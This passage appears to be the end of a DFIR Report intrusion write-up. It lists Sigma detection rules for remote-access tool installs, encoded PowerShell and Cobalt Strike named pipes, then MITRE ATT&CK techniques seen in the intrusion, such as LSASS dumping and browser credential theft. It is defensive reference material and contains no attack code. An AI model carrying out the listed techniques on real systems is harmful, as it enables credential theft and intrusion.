[https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/rules/windows/builtin/application/win\\_software\\_atera\\_rmm\\_agent\\_install.yml](https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml)

[https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process\\_creation/proc\\_creation\\_win\\_powershell\\_frombase64string.yml](https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml)

[https://github.com/SigmaHQ/sigma/blob/578c838277fdb88704ff3fed3268e87bd7277e0/rules/windows/process\\_creation/proc\\_creation\\_win\\_schtasks\\_reg\\_loader.yml](https://github.com/SigmaHQ/sigma/blob/578c838277fdb88704ff3fed3268e87bd7277e0/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml)

[https://github.com/SigmaHQ/sigma/blob/34d16c29dd7d5503e632c8248c44c03c0875e40f/rules/windows/pipe\\_created/pipe\\_created\\_mal\\_cobaltstrike.yml](https://github.com/SigmaHQ/sigma/blob/34d16c29dd7d5503e632c8248c44c03c0875e40f/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml)

[https://github.com/The-DFIR-Report/Sigma-Rules/blob/c253c57c627b6d8cbcf06320a3ad1ba2b9dedd4/win\\_network\\_splashtop.yml](https://github.com/The-DFIR-Report/Sigma-Rules/blob/c253c57c627b6d8cbcf06320a3ad1ba2b9dedd4/win_network_splashtop.yml)

[https://github.com/The-DFIR-Report/Sigma-Rules/blob/c253c57c627b6d8cbcf06320a3ad1ba2b9dedd4/win\\_software\\_splashtop.yml](https://github.com/The-DFIR-Report/Sigma-Rules/blob/c253c57c627b6d8cbcf06320a3ad1ba2b9dedd4/win_software_splashtop.yml)

# MITRE

System Owner/User Discovery – T1033

System Network Connections Discovery – T1049

Domain Groups – T1069.002

Domain Trust Discovery – T1482

PowerShell – T1059.001

Exploitation for Client Execution – T1203

Regsvr32 – T1218.010

Scheduled Task/Job – T1053

Application Layer Protocol – T1071

Remote Access Software – T1219

Ingress Tool Transfer – T1105

Process Injection – T1055

Disable or Modify Tools – T1562.001

LSASS Memory – T1003.001

Credentials from Web Browsers – T1555.003

Windows Credential Manager – T1555.004

Remote Desktop Protocol – T1021.001

Service Execution – T1569.002

Lateral Tool Transfer – T1570

S0154 – Cobalt Strike

S0650 – QakBot

S0552 – AdFind

Internal case #14894

**Share this:**



« BUMBLEBEE: ROUND TWO

BUMBLEBEE ZEROS IN ON METERPRETER »

Search

Subscribe



Register For Our Next CTF



Reports





## Threat Intelligence



## Detection Rules



## DFIR Labs



## Mentoring and Coaching

Proudly powered by [WordPress](#) | Copyright 2023 | The DFIR Report | All Rights Reserved